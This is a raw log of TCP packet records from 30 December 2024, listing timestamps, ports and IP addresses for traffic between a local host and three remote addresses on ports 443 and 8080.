Dec 30, 2024 19:45:57.642254114 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.642268896 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.642304897 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.642311096 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.642321110 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.642844915 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.642863989 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.642898083 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.642904043 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.642920017 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.711833954 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.711853027 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.711935043 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.711958885 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.721569061 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.721587896 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.721638918 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.721645117 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.721710920 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.721725941 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.721817970 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.721817970 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.721817970 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.721828938 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.727763891 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.727782011 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.727834940 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.727844000 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.727859974 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.727973938 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.727987051 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.728040934 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.728049040 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.728254080 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.728270054 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.728331089 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.728338003 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.728688002 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.728701115 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.728755951 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.728761911 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.729098082 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.729118109 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.729159117 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.729163885 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.729185104 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.765280962 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.772259951 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:57.772341013 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:57.798182011 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.798198938 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.798310995 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.798326015 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.798347950 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.798410892 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.808193922 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.808208942 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.808252096 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.808258057 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.808278084 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.808284998 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.808295965 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.808306932 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.808312893 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.808336973 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.808373928 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.814021111 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.814037085 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.814074993 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.814083099 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.814117908 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.814129114 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.814295053 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.814310074 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.814354897 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.814361095 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.814433098 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.814551115 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.814568043 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.814609051 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.814615011 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.814647913 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.814662933 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.814955950 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.814970016 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.815016985 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.815022945 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.815061092 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.815134048 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.815624952 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.815644026 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.815723896 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.815731049 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.815917015 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.884356976 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.884377003 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.884430885 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.884454012 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.884469032 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.884494066 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.894154072 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.894171000 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.894205093 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.894212008 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.894232035 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.894249916 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.894464970 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.894491911 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.894520044 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.894522905 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.894536972 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.894576073 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.900688887 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.900707006 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.900746107 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.900753021 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.900789976 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.900789976 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.900831938 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.900847912 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.900890112 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.900893927 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.900913954 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.900926113 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.900949001 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.900949955 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.900960922 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.900971889 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.901001930 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.901022911 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.901343107 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.901360035 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.901403904 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.901408911 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.901428938 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.901447058 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.901871920 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.901887894 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.901935101 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.901941061 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.901952028 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.901989937 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.930027008 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.970707893 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.970730066 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.970774889 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.970791101 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.970803022 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.970825911 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.980501890 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.980520010 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.980585098 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.980602980 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.980664015 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.980778933 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.980793953 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.980834961 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.980842113 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.980853081 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.980876923 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.987307072 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.987365007 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.987377882 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.987436056 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.987441063 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.987452984 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.987482071 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.987493992 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.987503052 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.987514973 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.987526894 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.987576008 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.987663984 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.987679005 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.987718105 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.987723112 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.987732887 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.987740040 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.987756968 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.987770081 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.987776995 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.987802029 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.987824917 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.987994909 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.988009930 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.988059044 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.988064051 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:57.988075972 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.988127947 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:57.988936901 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.023438931 CET	50077	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:58.057061911 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.057084084 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.057128906 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.057151079 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.057168007 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.057187080 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.066958904 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.066973925 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.067014933 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.067027092 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.067051888 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.067070961 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.067323923 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.067337990 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.067389011 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.067394018 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.067410946 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.067429066 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.073405981 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.073421955 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.073462963 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.073470116 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.073503017 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.073518991 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.073761940 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.073781013 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.073822021 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.073827982 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.073844910 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.073863029 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.074114084 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.074132919 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.074177980 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.074183941 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.074222088 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.074244976 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.074273109 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.074279070 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.074297905 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.074321985 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.074637890 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.074655056 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.074700117 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.074707985 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.074750900 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.075238943 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.143323898 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.143340111 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.143388033 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.143399954 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.143419027 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.143435001 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.152990103 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.153011084 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.153052092 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.153057098 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.153095961 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.153095961 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.153295040 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.153309107 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.153356075 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.153367043 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.153381109 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.153403044 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.159779072 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.159791946 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.159831047 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.159837008 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.159857988 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.159873009 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.159960032 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.159980059 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.160021067 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.160027027 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.160037041 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.160063982 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.160305023 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.160319090 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.160366058 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.160371065 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.160391092 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.160408020 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.160715103 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.160727024 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.160778046 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.160782099 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.160806894 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.160830021 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.160830975 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.160840988 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.160864115 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.160892963 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.229854107 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.229872942 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.229911089 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.229919910 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.229942083 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.229959965 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.239563942 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.239581108 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.239633083 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.239639044 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.239680052 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.239686966 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.239691019 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.239703894 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.239741087 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.239744902 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.239767075 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.239783049 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.246068954 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.246088982 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.246150970 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.246161938 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.246382952 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.246404886 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.246440887 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.246445894 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.246457100 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.246488094 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.246694088 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.246707916 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.246753931 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.246761084 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.246799946 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.246928930 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.246942043 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.246980906 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.246989012 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.247169971 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.247186899 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.247216940 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.247220993 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.247235060 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.247260094 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.287518024 CET	50078	8080	192.168.2.4	87.120.115.216
Dec 30, 2024 19:45:58.292334080 CET	8080	50078	87.120.115.216	192.168.2.4
Dec 30, 2024 19:45:58.292402029 CET	50078	8080	192.168.2.4	87.120.115.216
Dec 30, 2024 19:45:58.292498112 CET	50078	8080	192.168.2.4	87.120.115.216
Dec 30, 2024 19:45:58.297244072 CET	8080	50078	87.120.115.216	192.168.2.4
Dec 30, 2024 19:45:58.297314882 CET	50078	8080	192.168.2.4	87.120.115.216
Dec 30, 2024 19:45:58.302062035 CET	8080	50078	87.120.115.216	192.168.2.4
Dec 30, 2024 19:45:58.316237926 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.316256046 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.316299915 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.316312075 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:45:58.316333055 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.316344976 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:45:58.325920105 CET	443	50076	45.118.248.184	192.168.2.4
